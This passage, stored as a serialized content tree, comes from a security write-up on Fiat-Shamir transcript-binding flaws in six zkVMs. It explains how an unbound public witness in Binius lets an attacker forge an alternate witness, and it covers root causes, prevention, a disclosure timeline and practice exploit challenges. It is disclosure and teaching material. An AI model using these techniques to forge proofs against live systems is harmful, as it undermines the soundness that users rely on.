Error>\n",[124379],{"type":24,"tag":156,"props":124380,"children":124381},{"__ignoreMap":7},[124382,124417,124442,124476,124484],{"type":24,"tag":930,"props":124383,"children":124384},{"class":932,"line":933},[124385,124389,124393,124397,124401,124405,124409,124413],{"type":24,"tag":930,"props":124386,"children":124387},{"style":937},[124388],{"type":30,"value":16797},{"type":24,"tag":930,"props":124390,"children":124391},{"style":937},[124392],{"type":30,"value":16802},{"type":24,"tag":930,"props":124394,"children":124395},{"style":1002},[124396],{"type":30,"value":11276},{"type":24,"tag":930,"props":124398,"children":124399},{"style":959},[124400],{"type":30,"value":1350},{"type":24,"tag":930,"props":124402,"children":124403},{"style":943},[124404],{"type":30,"value":124253},{"type":24,"tag":930,"props":124406,"children":124407},{"style":959},[124408],{"type":30,"value":962},{"type":24,"tag":930,"props":124410,"children":124411},{"style":943},[124412],{"type":30,"value":118704},{"type":24,"tag":930,"props":124414,"children":124415},{"style":959},[124416],{"type":30,"value":9700},{"type":24,"tag":930,"props":124418,"children":124419},{"class":932,"line":984},[124420,124425,124429,124433,124438],{"type":24,"tag":930,"props":124421,"children":124422},{"style":1023},[124423],{"type":30,"value":124424},"    constraint_system",{"type":24,"tag":930,"props":124426,"children":124427},{"style":1158},[124428],{"type":30,"value":476},{"type":24,"tag":930,"props":124430,"children":124431},{"style":1158},[124432],{"type":30,"value":10253},{"type":24,"tag":930,"props":124434,"children":124435},{"style":943},[124436],{"type":30,"value":124437},"ConstraintSystem",{"type":24,"tag":930,"props":124439,"children":124440},{"style":959},[124441],{"type":30,"value":2832},{"type":24,"tag":930,"props":124443,"children":124444},{"class":932,"line":993},[124445,124449,124453,124457,124461,124466,124471],{"type":24,"tag":930,"props":124446,"children":124447},{"style":1023},[124448],{"type":30,"value":10632},{"type":24,"tag":930,"props":124450,"children":124451},{"style":1158},[124452],{"type":30,"value":476},{"type":24,"tag":930,"props":124454,"children":124455},{"style":1158},[124456],{"type":30,"value":10253},{"type":24,"tag":930,"props":124458,"children":124459},{"style":959},[124460],{"type":30,"value":6849},{"type":24,"tag":930,"props":124462,"children":124463},{"style":943},[124464],{"type":30,"value":124465},"Word",{"type":24,"tag":930,"props":124467,"children":124468},{"style":959},[124469],{"type":30,"value":124470},"],    ",{"type":24,"tag":930,"props":124472,"children":124473},{"style":1422},[124474],{"type":30,"value":124475},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":930,"props":124477,"children":124478},{"class":932,"line":1057},[124479],{"type":24,"tag":930,"props":124480,"children":124481},{"style":1422},[124482],{"type":30,"value":124483},"    // ...\n",{"type":24,"tag":930,"props":124485,"children":124486},{"class":932,"line":1066},[124487,124491,124495,124499,124503,124508,124512,124516,124520,124524],{"type":24,"tag":930,"props":124488,"children":124489},{"style":959},[124490],{"type":30,"value":5579},{"type":24,"tag":930,"props":124492,"children":124493},{"style":1158},[124494],{"type":30,"value":16864},{"type":24,"tag":930,"props":124496,"children":124497},{"style":943},[124498],{"type":30,"value":16869},{"type":24,"tag":930,"props":124500,"children":124501},{"style":959},[124502],{"type":30,"value":1350},{"type":24,"tag":930,"props":124504,"children":124505},{"style":943},[124506],{"type":30,"value":124507},"VerifyOutput",{"type":24,"tag":930,"props":124509,"children":124510},{"style":959},[124511],{"type":30,"value":1350},{"type":24,"tag":930,"props":124513,"children":124514},{"style":943},[124515],{"type":30,"value":124253},{"type":24,"tag":930,"props":124517,"children":124518},{"style":959},[124519],{"type":30,"value":9742},{"type":24,"tag":930,"props":124521,"children":124522},{"style":943},[124523],{"type":30,"value":40486},{"type":24,"tag":930,"props":124525,"children":124526},{"style":959},[124527],{"type":30,"value":9105},{"type":24,"tag":33,"props":124529,"children":124530},{},[124531,124533,124539,124540,124546,124548,124552],{"type":30,"value":124532},"In the shift protocol, challenges ",{"type":24,"tag":156,"props":124534,"children":124536},{"className":124535},[],[124537],{"type":30,"value":124538},"r_j",{"type":30,"value":211},{"type":24,"tag":156,"props":124541,"children":124543},{"className":124542},[],[124544],{"type":30,"value":124545},"inout_eval_point",{"type":30,"value":124547}," are sampled ",{"type":24,"tag":275,"props":124549,"children":124550},{},[124551],{"type":30,"value":2707},{"type":30,"value":124553}," the public witness is bound.",{"type":24,"tag":33,"props":124555,"children":124556},{},[124557],{"type":24,"tag":275,"props":124558,"children":124559},{},[124560],{"type":30,"value":117907},{"type":24,"tag":33,"props":124562,"children":124563},{},[124564],{"type":24,"tag":140,"props":124565,"children":124568},{"alt":124566,"src":124567},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":33,"props":124570,"children":124571},{},[124572],{"type":30,"value":124573},"During verification",{"type":24,"tag":478,"props":124575,"children":124576},{},[124577,124597,124609,124628],{"type":24,"tag":100,"props":124578,"children":124579},{},[124580,124582,124587,124589,124595],{"type":30,"value":124581},"Sumcheck produces challenge points ",{"type":24,"tag":156,"props":124583,"children":124585},{"className":124584},[],[124586],{"type":30,"value":124538},{"type":30,"value":124588}," (bit indices) and ",{"type":24,"tag":156,"props":124590,"children":124592},{"className":124591},[],[124593],{"type":30,"value":124594},"r_s",{"type":30,"value":124596}," (shift indices)",{"type":24,"tag":100,"props":124598,"children":124599},{},[124600,124602,124607],{"type":30,"value":124601},"Verifier samples ",{"type":24,"tag":156,"props":124603,"children":124605},{"className":124604},[],[124606],{"type":30,"value":124545},{"type":30,"value":124608}," from transcript",{"type":24,"tag":100,"props":124610,"children":124611},{},[124612,124614,124620,124622,124627],{"type":30,"value":124613},"Verifier computes ",{"type":24,"tag":156,"props":124615,"children":124617},{"className":124616},[],[124618],{"type":30,"value":124619},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":30,"value":124621}," using the unbound ",{"type":24,"tag":156,"props":124623,"children":124625},{"className":124624},[],[124626],{"type":30,"value":64762},{"type":30,"value":21235},{"type":24,"tag":100,"props":124629,"children":124630},{},[124631,124632,124638],{"type":30,"value":259},{"type":24,"tag":156,"props":124633,"children":124635},{"className":124634},[],[124636],{"type":30,"value":124637},"public_eval",{"type":30,"value":124639}," feeds into subsequent verification equations",{"type":24,"tag":33,"props":124641,"children":124642},{},[124643],{"type":30,"value":124644},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":33,"props":124646,"children":124647},{},[124648],{"type":24,"tag":156,"props":124649,"children":124651},{"className":124650},[7098,7099],[124652],{"type":24,"tag":930,"props":124653,"children":124655},{"className":124654},[7104],[124656],{"type":24,"tag":930,"props":124657,"children":124659},{"className":124658,"ariaHidden":7110},[7109],[124660,124704,124844,124956],{"type":24,"tag":930,"props":124661,"children":124663},{"className":124662},[7115],[124664,124668,124677,124682,124691,124695,124700],{"type":24,"tag":930,"props":124665,"children":124667},{"className":124666,"style":97525},[7120],[],{"type":24,"tag":930,"props":124669,"children":124671},{"className":124670},[7126,30],[124672],{"type":24,"tag":930,"props":124673,"children":124675},{"className":124674},[7126],[124676],{"type":30,"value":64762},{"type":24,"tag":930,"props":124678,"children":124680},{"className":124679,"style":96112},[7126],[124681],{"type":30,"value":6204},{"type":24,"tag":930,"props":124683,"children":124685},{"className":124684},[7126,30],[124686],{"type":24,"tag":930,"props":124687,"children":124689},{"className":124688},[7126],[124690],{"type":30,"value":40636},{"type":24,"tag":930,"props":124692,"children":124694},{"className":124693,"style":7304},[7206],[],{"type":24,"tag":930,"props":124696,"children":124698},{"className":124697},[7309],[124699],{"type":30,"value":1161},{"type":24,"tag":930,"props":124701,"children":124703},{"className":124702,"style":7304},[7206],[],{"type":24,"tag":930,"props":124705,"children":124707},{"className":124706},[7115],[124708,124712,124784,124788,124801,124806,124811,124816,124821,124826,124831,124835,124840],{"type":24,"tag":930,"props":124709,"children":124711},{"className":124710,"style":121237},[7120],[],{"type":24,"tag":930,"props":124713,"children":124715},{"className":124714},[24725],[124716,124721],{"type":24,"tag":930,"props":124717,"children":124719},{"className":124718,"style":24732},[24725,24730,24731],[124720],{"type":30,"value":111270},{"type":24,"tag":930,"props":124722,"children":124724},{"className":124723},[7142],[124725],{"type":24,"tag":930,"props":124726,"children":124728},{"className":124727},[7147,24743],[124729,124773],{"type":24,"tag":930,"props":124730,"children":124732},{"className":124731},[7152],[124733,124768],{"type":24,"tag":930,"props":124734,"children":124736},{"className":124735,"style":116147},[7157],[124737],{"type":24,"tag":930,"props":124738,"children":124739},{"style":24756},[124740,124744],{"type":24,"tag":930,"props":124741,"children":124743},{"className":124742,"style":7167},[7166],[],{"type":24,"tag":930,"props":124745,"children":124747},{"className":124746},[7172,7173,7174,7175],[124748],{"type":24,"tag":930,"props":124749,"children":124751},{"className":124750},[7126,7175],[124752,124758,124763],{"type":24,"tag":930,"props":124753,"children":124756},{"className":124754,"style":124755},[7126,24690,7175],"margin-right:0.02691em;",[124757],{"type":30,"value":52661},{"type":24,"tag":930,"props":124759,"children":124761},{"className":124760},[7238,7175],[124762],{"type":30,"value":7241},{"type":24,"tag":930,"props":124764,"children":124766},{"className":124765},[7126,24690,7175],[124767],{"type":30,"value":6343},{"type":24,"tag":930,"props":124769,"children":124771},{"className":124770},[24846],[124772],{"type":30,"value":24849},{"type":24,"tag":930,"props":124774,"children":124776},{"className":124775},[7152],[124777],{"type":24,"tag":930,"props":124778,"children":124780},{"className":124779,"style":116713},[7157],[124781],{"type":24,"tag":930,"props":124782,"children":124783},{},[],{"type":24,"tag":930,"props":124785,"children":124787},{"className":124786,"style":7245},[7206],[],{"type":24,"tag":930,"props":124789,"children":124791},{"className":124790},[7126],[124792],{"type":24,"tag":930,"props":124793,"children":124795},{"className":124794},[7126,30],[124796],{"type":24,"tag":930,"props":124797,"children":124799},{"className":124798},[7126],[124800],{"type":30,"value":64762},{"type":24,"tag":930,"props":124802,"children":124804},{"className":124803},[24818],[124805],{"type":30,"value":6849},{"type":24,"tag":930,"props":124807,"children":124809},{"className":124808,"style":124755},[7126,24690],[124810],{"type":30,"value":52661},{"type":24,"tag":930,"props":124812,"children":124814},{"className":124813},[24840],[124815],{"type":30,"value":18514},{"type":24,"tag":930,"props":124817,"children":124819},{"className":124818},[24818],[124820],{"type":30,"value":6849},{"type":24,"tag":930,"props":124822,"children":124824},{"className":124823},[7126,24690],[124825],{"type":30,"value":6343},{"type":24,"tag":930,"props":124827,"children":124829},{"className":124828},[24840],[124830],{"type":30,"value":18514},{"type":24,"tag":930,"props":124832,"children":124834},{"className":124833,"style":7207},[7206],[],{"type":24,"tag":930,"props":124836,"children":124838},{"className":124837},[7212],[124839],{"type":30,"value":113737},{"type":24,"tag":930,"props":124841,"children":124843},{"className":124842,"style":7207},[7206],[],{"type":24,"tag":930,"props":124845,"children":124847},{"className":124846},[7115],[124848,124853,124862,124867,124872,124877,124881,124938,124943,124947,124952],{"type":24,"tag":930,"props":124849,"children":124852},{"className":124850,"style":124851},[7120],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":930,"props":124854,"children":124856},{"className":124855},[7126,30],[124857],{"type":24,"tag":930,"props":124858,"children":124860},{"className":124859},[7126],[124861],{"type":30,"value":115064},{"type":24,"tag":930,"props":124863,"children":124865},{"className":124864},[24818],[124866],{"type":30,"value":1010},{"type":24,"tag":930,"props":124868,"children":124870},{"className":124869},[7126,24690],[124871],{"type":30,"value":6343},{"type":24,"tag":930,"props":124873,"children":124875},{"className":124874},[7238],[124876],{"type":30,"value":7241},{"type":24,"tag":930,"props":124878,"children":124880},{"className":124879,"style":7245},[7206],[],{"type":24,"tag":930,"props":124882,"children":124884},{"className":124883},[7126],[124885,124890],{"type":24,"tag":930,"props":124886,"children":124888},{"className":124887,"style":96112},[7126,24690],[124889],{"type":30,"value":96931},{"type":24,"tag":930,"props":124891,"children":124893},{"className":124892},[7142],[124894],{"type":24,"tag":930,"props":124895,"children":124897},{"className":124896},[7147,24743],[124898,124927],{"type":24,"tag":930,"props":124899,"children":124901},{"className":124900},[7152],[124902,124922],{"type":24,"tag":930,"props":124903,"children":124905},{"className":124904,"style":96641},[7157],[124906],{"type":24,"tag":930,"props":124907,"children":124908},{"style":112474},[124909,124913],{"type":24,"tag":930,"props":124910,"children":124912},{"className":124911,"style":7167},[7166],[],{"type":24,"tag":930,"props":124914,"children":124916},{"className":124915},[7172,7173,7174,7175],[124917],{"type":24,"tag":930,"props":124918,"children":124920},{"className":124919,"style":116698},[7126,24690,7175],[124921],{"type":30,"value":11765},{"type":24,"tag":930,"props":124923,"children":124925},{"className":124924},[24846],[124926],{"type":30,"value":24849},{"type":24,"tag":930,"props":124928,"children":124930},{"className":124929},[7152],[124931],{"type":24,"tag":930,"props":124932,"children":124934},{"className":124933,"style":121385},[7157],[124935],{"type":24,"tag":930,"props":124936,"children":124937},{},[],{"type":24,"tag":930,"props":124939,"children":124941},{"className":124940},[24840],[124942],{"type":30,"value":6249},{"type":24,"tag":930,"props":124944,"children":124946},{"className":124945,"style":7207},[7206],[],{"type":24,"tag":930,"props":124948,"children":124950},{"className":124949},[7212],[124951],{"type":30,"value":113737},{"type":24,"tag":930,"props":124953,"children":124955},{"className":124954,"style":7207},[7206],[],{"type":24,"tag":930,"props":124957,"children":124959},{"className":124958},[7115],[124960,124964,124973,124978,124983,124988,124992,125002,125007,125016,125021,125030],{"type":24,"tag":930,"props":124961,"children":124963},{"className":124962,"style":96054},[7120],[],{"type":24,"tag":930,"props":124965,"children":124967},{"className":124966},[7126,30],[124968],{"type":24,"tag":930,"props":124969,"children":124971},{"className":124970},[7126],[124972],{"type":30,"value":115064},{"type":24,"tag":930,"props":124974,"children":124976},{"className":124975},[24818],[124977],{"type":30,"value":1010},{"type":24,"tag":930,"props":124979,"children":124981},{"className":124980,"style":124755},[7126,24690],[124982],{"type":30,"value":52661},{"type":24,"tag":930,"props":124984,"children":124986},{"className":124985},[7238],[124987],{"type":30,"value":7241},{"type":24,"tag":930,"props":124989,"children":124991},{"className":124990,"style":7245},[7206],[],{"type":24,"tag":930,"props":124993,"children":124995},{"className":124994},[7126,30],[124996],{"type":24,"tag":930,"props":124997,"children":124999},{"className":124998},[7126],[125000],{"type":30,"value":125001},"inout",{"type":24,"tag":930,"props":125003,"children":125005},{"className":125004,"style":96112},[7126],[125006],{"type":30,"value":6204},{"type":24,"tag":930,"props":125008,"children":125010},{"className":125009},[7126,30],[125011],{"type":24,"tag":930,"props":125012,"children":125014},{"className":125013},[7126],[125015],{"type":30,"value":40636},{"type":24,"tag":930,"props":125017,"children":125019},{"className":125018,"style":96112},[7126],[125020],{"type":30,"value":6204},{"type":24,"tag":930,"props":125022,"children":125024},{"className":125023},[7126,30],[125025],{"type":24,"tag":930,"props":125026,"children":125028},{"className":125027},[7126],[125029],{"type":30,"value":120260},{"type":24,"tag":930,"props":125031,"children":125033},{"className":125032},[24840],[125034],{"type":30,"value":6249},{"type":24,"tag":33,"props":125036,"children":125037},{},[125038,125040,125045,125047,125120],{"type":30,"value":125039},"With challenges fixed (independent of ",{"type":24,"tag":156,"props":125041,"children":125043},{"className":125042},[],[125044],{"type":30,"value":64762},{"type":30,"value":125046},"), an attacker can find an alternate witness ",{"type":24,"tag":156,"props":125048,"children":125050},{"className":125049},[7098,7099],[125051],{"type":24,"tag":930,"props":125052,"children":125054},{"className":125053},[7104],[125055],{"type":24,"tag":930,"props":125056,"children":125058},{"className":125057,"ariaHidden":7110},[7109],[125059],{"type":24,"tag":930,"props":125060,"children":125062},{"className":125061},[7115],[125063,125068],{"type":24,"tag":930,"props":125064,"children":125067},{"className":125065,"style":125066},[7120],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":125069,"children":125071},{"className":125070},[7126],[125072,125081],{"type":24,"tag":930,"props":125073,"children":125075},{"className":125074},[7126,30],[125076],{"type":24,"tag":930,"props":125077,"children":125079},{"className":125078},[7126],[125080],{"type":30,"value":64762},{"type":24,"tag":930,"props":125082,"children":125084},{"className":125083},[7142],[125085],{"type":24,"tag":930,"props":125086,"children":125088},{"className":125087},[7147],[125089],{"type":24,"tag":930,"props":125090,"children":125092},{"className":125091},[7152],[125093],{"type":24,"tag":930,"props":125094,"children":125097},{"className":125095,"style":125096},[7157],"height:0.8362em;",[125098],{"type":24,"tag":930,"props":125099,"children":125101},{"style":125100},"top:-3.1473em;margin-right:0.05em;",[125102,125106],{"type":24,"tag":930,"props":125103,"children":125105},{"className":125104,"style":7167},[7166],[],{"type":24,"tag":930,"props":125107,"children":125109},{"className":125108},[7172,7173,7174,7175],[125110],{"type":24,"tag":930,"props":125111,"children":125113},{"className":125112},[7126,7175],[125114],{"type":24,"tag":930,"props":125115,"children":125117},{"className":125116},[7126,7175],[125118],{"type":30,"value":125119},"′",{"type":30,"value":125121}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":33,"props":125123,"children":125124},{},[125125,125129,125131],{"type":24,"tag":275,"props":125126,"children":125127},{},[125128],{"type":30,"value":119185},{"type":30,"value":125130}," Fixed on December 29, 2025 via ",{"type":24,"tag":37,"props":125132,"children":125135},{"href":125133,"rel":125134},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[41],[125136],{"type":30,"value":125137},"commit 86a515f",{"type":24,"tag":21895,"props":125139,"children":125140},{},[],{"type":24,"tag":68,"props":125142,"children":125144},{"id":125143},"why-does-this-keep-happening",[125145],{"type":30,"value":125146},"Why Does This Keep Happening?",{"type":24,"tag":33,"props":125148,"children":125149},{},[125150],{"type":30,"value":125151},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":151,"props":125153,"children":125155},{"id":125154},"academic-papers-dont-specify-fiat-shamir",[125156],{"type":30,"value":125157},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":33,"props":125159,"children":125160},{},[125161,125163,125168,125170,125195,125197,125200,125202,125227,125229,125256],{"type":30,"value":125162},"Academic papers usually describe ",{"type":24,"tag":6032,"props":125164,"children":125165},{},[125166],{"type":30,"value":125167},"interactive",{"type":30,"value":125169}," protocols: \"Prover sends ",{"type":24,"tag":156,"props":125171,"children":125173},{"className":125172},[7098,7099],[125174],{"type":24,"tag":930,"props":125175,"children":125177},{"className":125176},[7104],[125178],{"type":24,"tag":930,"props":125179,"children":125181},{"className":125180,"ariaHidden":7110},[7109],[125182],{"type":24,"tag":930,"props":125183,"children":125185},{"className":125184},[7115],[125186,125190],{"type":24,"tag":930,"props":125187,"children":125189},{"className":125188,"style":24685},[7120],[],{"type":24,"tag":930,"props":125191,"children":125193},{"className":125192,"style":25221},[7126,24690],[125194],{"type":30,"value":118704},{"type":30,"value":125196},". Verifier sends",{"type":24,"tag":34060,"props":125198,"children":125199},{},[],{"type":30,"value":125201},"random ",{"type":24,"tag":156,"props":125203,"children":125205},{"className":125204},[7098,7099],[125206],{"type":24,"tag":930,"props":125207,"children":125209},{"className":125208},[7104],[125210],{"type":24,"tag":930,"props":125211,"children":125213},{"className":125212,"ariaHidden":7110},[7109],[125214],{"type":24,"tag":930,"props":125215,"children":125217},{"className":125216},[7115],[125218,125222],{"type":24,"tag":930,"props":125219,"children":125221},{"className":125220,"style":113316},[7120],[],{"type":24,"tag":930,"props":125223,"children":125225},{"className":125224,"style":96112},[7126,24690],[125226],{"type":30,"value":96931},{"type":30,"value":125228},". Prover sends ",{"type":24,"tag":156,"props":125230,"children":125232},{"className":125231},[7098,7099],[125233],{"type":24,"tag":930,"props":125234,"children":125236},{"className":125235},[7104],[125237],{"type":24,"tag":930,"props":125238,"children":125240},{"className":125239,"ariaHidden":7110},[7109],[125241],{"type":24,"tag":930,"props":125242,"children":125244},{"className":125243},[7115],[125245,125249],{"type":24,"tag":930,"props":125246,"children":125248},{"className":125247,"style":24685},[7120],[],{"type":24,"tag":930,"props":125250,"children":125253},{"className":125251,"style":125252},[7126,24690],"margin-right:0.00773em;",[125254],{"type":30,"value":125255},"R",{"type":30,"value":125257},".\"",{"type":24,"tag":33,"props":125259,"children":125260},{},[125261,125263,125288,125290,125315],{"type":30,"value":125262},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":156,"props":125264,"children":125266},{"className":125265},[7098,7099],[125267],{"type":24,"tag":930,"props":125268,"children":125270},{"className":125269},[7104],[125271],{"type":24,"tag":930,"props":125272,"children":125274},{"className":125273,"ariaHidden":7110},[7109],[125275],{"type":24,"tag":930,"props":125276,"children":125278},{"className":125277},[7115],[125279,125283],{"type":24,"tag":930,"props":125280,"children":125282},{"className":125281,"style":24685},[7120],[],{"type":24,"tag":930,"props":125284,"children":125286},{"className":125285,"style":25221},[7126,24690],[125287],{"type":30,"value":118704},{"type":30,"value":125289}," before sampling ",{"type":24,"tag":156,"props":125291,"children":125293},{"className":125292},[7098,7099],[125294],{"type":24,"tag":930,"props":125295,"children":125297},{"className":125296},[7104],[125298],{"type":24,"tag":930,"props":125299,"children":125301},{"className":125300,"ariaHidden":7110},[7109],[125302],{"type":24,"tag":930,"props":125303,"children":125305},{"className":125304},[7115],[125306,125310],{"type":24,"tag":930,"props":125307,"children":125309},{"className":125308,"style":113316},[7120],[],{"type":24,"tag":930,"props":125311,"children":125313},{"className":125312,"style":96112},[7126,24690],[125314],{"type":30,"value":96931},{"type":30,"value":125316},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":33,"props":125318,"children":125319},{},[125320],{"type":30,"value":125321},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":24,"tag":151,"props":125323,"children":125325},{"id":125324},"the-hot-potato-problem",[125326],{"type":30,"value":125327},"The Hot Potato Problem",{"type":24,"tag":33,"props":125329,"children":125330},{},[125331],{"type":30,"value":125332},"Modern zkVMs are modular:",{"type":24,"tag":33,"props":125334,"children":125335},{},[125336],{"type":24,"tag":140,"props":125337,"children":125340},{"alt":125338,"src":125339},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":33,"props":125342,"children":125343},{},[125344],{"type":30,"value":125345},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":151,"props":125347,"children":125349},{"id":125348},"optimization-pressure",[125350],{"type":30,"value":125351},"Optimization Pressure",{"type":24,"tag":33,"props":125353,"children":125354},{},[125355],{"type":30,"value":125356},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":33,"props":125358,"children":125359},{},[125360],{"type":30,"value":125361},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":151,"props":125363,"children":125365},{"id":125364},"testing-doesnt-catch-adversarial-inputs",[125366],{"type":30,"value":125367},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":33,"props":125369,"children":125370},{},[125371],{"type":30,"value":125372},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":21895,"props":125374,"children":125375},{},[],{"type":24,"tag":68,"props":125377,"children":125379},{"id":125378},"how-to-find-and-fix-these-bugs",[125380],{"type":30,"value":125381},"How to Find and Fix These Bugs",{"type":24,"tag":151,"props":125383,"children":125385},{"id":125384},"prevention",[125386],{"type":30,"value":125387},"Prevention",{"type":24,"tag":33,"props":125389,"children":125390},{},[125391],{"type":30,"value":125392},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":33,"props":125394,"children":125395},{},[125396],{"type":30,"value":125397},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":33,"props":125399,"children":125400},{},[125401],{"type":30,"value":125402},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":33,"props":125404,"children":125405},{},[125406],{"type":30,"value":125407},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":33,"props":125409,"children":125410},{},[125411],{"type":30,"value":125412},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":21895,"props":125414,"children":125415},{},[],{"type":24,"tag":68,"props":125417,"children":125419},{"id":125418},"responsible-disclosure-timeline",[125420],{"type":30,"value":125421},"Responsible Disclosure Timeline",{"type":24,"tag":58834,"props":125423,"children":125424},{},[125425,125453],{"type":24,"tag":125426,"props":125427,"children":125428},"thead",{},[125429],{"type":24,"tag":125430,"props":125431,"children":125432},"tr",{},[125433,125438,125443,125448],{"type":24,"tag":125434,"props":125435,"children":125436},"th",{},[125437],{"type":30,"value":26310},{"type":24,"tag":125434,"props":125439,"children":125440},{},[125441],{"type":30,"value":125442},"Reported",{"type":24,"tag":125434,"props":125444,"children":125445},{},[125446],{"type":30,"value":125447},"Fixed",{"type":24,"tag":125434,"props":125449,"children":125450},{},[125451],{"type":30,"value":125452},"Response Time",{"type":24,"tag":125454,"props":125455,"children":125456},"tbody",{},[125457,125480,125501,125521,125543,125564],{"type":24,"tag":125430,"props":125458,"children":125459},{},[125460,125465,125470,125475],{"type":24,"tag":125461,"props":125462,"children":125463},"td",{},[125464],{"type":30,"value":110288},{"type":24,"tag":125461,"props":125466,"children":125467},{},[125468],{"type":30,"value":125469},"Sep 2025",{"type":24,"tag":125461,"props":125471,"children":125472},{},[125473],{"type":30,"value":125474},"Oct 3, 2025",{"type":24,"tag":125461,"props":125476,"children":125477},{},[125478],{"type":30,"value":125479},"\u003C1 week",{"type":24,"tag":125430,"props":125481,"children":125482},{},[125483,125487,125492,125497],{"type":24,"tag":125461,"props":125484,"children":125485},{},[125486],{"type":30,"value":110294},{"type":24,"tag":125461,"props":125488,"children":125489},{},[125490],{"type":30,"value":125491},"Oct 2025",{"type":24,"tag":125461,"props":125493,"children":125494},{},[125495],{"type":30,"value":125496},"Oct 24, 2025",{"type":24,"tag":125461,"props":125498,"children":125499},{},[125500],{"type":30,"value":125479},{"type":24,"tag":125430,"props":125502,"children":125503},{},[125504,125508,125512,125517],{"type":24,"tag":125461,"props":125505,"children":125506},{},[125507],{"type":30,"value":110300},{"type":24,"tag":125461,"props":125509,"children":125510},{},[125511],{"type":30,"value":125491},{"type":24,"tag":125461,"props":125513,"children":125514},{},[125515],{"type":30,"value":125516},"Oct 31, 2025",{"type":24,"tag":125461,"props":125518,"children":125519},{},[125520],{"type":30,"value":125479},{"type":24,"tag":125430,"props":125522,"children":125523},{},[125524,125528,125533,125538],{"type":24,"tag":125461,"props":125525,"children":125526},{},[125527],{"type":30,"value":110306},{"type":24,"tag":125461,"props":125529,"children":125530},{},[125531],{"type":30,"value":125532},"Nov 2025",{"type":24,"tag":125461,"props":125534,"children":125535},{},[125536],{"type":30,"value":125537},"Mar 5, 2026",{"type":24,"tag":125461,"props":125539,"children":125540},{},[125541],{"type":30,"value":125542},"~4 months",{"type":24,"tag":125430,"props":125544,"children":125545},{},[125546,125550,125555,125560],{"type":24,"tag":125461,"props":125547,"children":125548},{},[125549],{"type":30,"value":110318},{"type":24,"tag":125461,"props":125551,"children":125552},{},[125553],{"type":30,"value":125554},"Dec 2025",{"type":24,"tag":125461,"props":125556,"children":125557},{},[125558],{"type":30,"value":125559},"Dec 29, 2025",{"type":24,"tag":125461,"props":125561,"children":125562},{},[125563],{"type":30,"value":125479},{"type":24,"tag":125430,"props":125565,"children":125566},{},[125567,125571,125575,125580],{"type":24,"tag":125461,"props":125568,"children":125569},{},[125570],{"type":30,"value":110312},{"type":24,"tag":125461,"props":125572,"children":125573},{},[125574],{"type":30,"value":125532},{"type":24,"tag":125461,"props":125576,"children":125577},{},[125578],{"type":30,"value":125579},"Jan 21, 2026?",{"type":24,"tag":125461,"props":125581,"children":125582},{},[125583],{"type":30,"value":125584},"3 months",{"type":24,"tag":33,"props":125586,"children":125587},{},[125588],{"type":30,"value":125589},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":21895,"props":125591,"children":125592},{},[],{"type":24,"tag":68,"props":125594,"children":125596},{"id":125595},"challenges",[125597],{"type":30,"value":110331},{"type":24,"tag":33,"props":125599,"children":125600},{},[125601,125603],{"type":30,"value":125602},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":125604,"props":125605,"children":125606},"del",{},[125607],{"type":30,"value":125608},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":33,"props":125610,"children":125611},{},[125612,125614,125667,125668,125924],{"type":30,"value":125613},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know 